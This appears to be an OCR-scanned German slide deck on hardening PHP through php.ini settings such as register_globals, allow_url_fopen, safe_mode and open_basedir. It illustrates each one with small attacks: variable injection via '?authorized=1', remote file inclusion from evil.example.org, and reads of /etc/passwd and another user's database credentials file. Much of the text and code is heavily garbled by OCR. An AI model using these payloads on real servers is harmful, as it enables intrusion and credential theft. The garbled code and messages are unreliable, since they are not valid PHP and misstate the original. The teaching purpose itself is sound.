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Sicherheitskritische Einstellungen in
PHP (php.ini)

1. PHP Direktiven in der php.ini

Agenda
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register globals = off

* Globale Variablen konnen so nicht durch requests initialisiert
werden.

* Verwenden von Superglobals:
-$_GET[ input’] anstatt $input
-$ POST[ input’] anstatt $input
-$ SESSION[ input’] anstatt Sinput

- Fr

<input name="input” walue="xyz'" ty

Sinput Af ist leer.

$_Pl]ST['inI:n.11:.'] SO enthilt den wert aus dem request [(X¥VEZ)
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register globals = off

Mit register_globals = on konnten beliebige Daten Uber z.B. die URL
injiziert werden.

if {$authﬂnticated_user{}} {
Sauthorized = true;

}

if {(Sauthorized) {
include {("highlv/sensitivesdata.php™):

}

URL: http://www.example.org/?authorized=1
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allow url fopen = off

* Ist diese Direktive auf on gestellt konnen URLSs als gewohnliche,
lokale Files behandelt werden. (Default)

include{Spath. 'script.php');

?path=http&3A%2F %2Fevil.example.org%2F

include{'http: //evil.exanple. org/script.php');
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Warning: maininofile php): faled to open stream: Mo such file or directory in

Thome/httpd~vhosts marcinx. de/httpdocs/imdex.php on line 2

e e et hEtpasswd

unlink{'stenpfile');
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log errors on

* Komplementar zu display errors

error log = " ./errors/errors.log’

* Definiert den Speicherort des Error-Logfiles
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safe mode[ gid] = on/off;

* Pruft bei Zugriffen auf das Dateisystem ob die Benutzerrechte
des ausfuhrenden Skripts mit denen der Datei Ubereinstimmen.

—rU—rW—r—— 1 ras=mus TaSmS 23 Jul 1 19:20 =cript.php
—Ir¥y—r——I—— 1 root root 1116 May 26 18:01 “etc passwd

< Yphp

readfilel ' “etc passwd’' ) ;

Warning: SAFE MODE Eestriction in effect. The script whosze uid 1= 500 1= not
ccezz Seto-passwd owned by uid 0 in <docroots=zcript . php on line 2
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open base dir = /xxx/htdocs/open

* Beschrankt Dateioperationen auf das angegebene Verzeichnis
und unterhalb.

oh_start{);

readfile('.. .. /htdocs/vhosts/otheruser/inc/mysql credentials.inc'):
Scontents = ob get contents({):

ob_clean{):

echo htmlentities(5contents); I

File i= in wrong directory in

Warthing: open_basedir restriction in effect.
#docroot-script.php on line 2
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PHP Direktiven in httpd.conf (Apache)

PHP Direktiven kdnnen auch in der httpd.conf gesetzt werden.

cD1irector tH Adocroot s

php admin value open basedir <docroot
£ ]:] 1 rector i b
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Weitere Sicherheitsuberlegungen

* Formularauthentifizierung (z.B. durch Hash-ID als hidden)
* Sessions wenn moglich in Datenbank speichern

* DB-Access Credentials moglichst als Servervariable
($_SERVER]]) ablegen und nicht als Include-File.
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Ende

Danke fur die Aufmerksamkeit.
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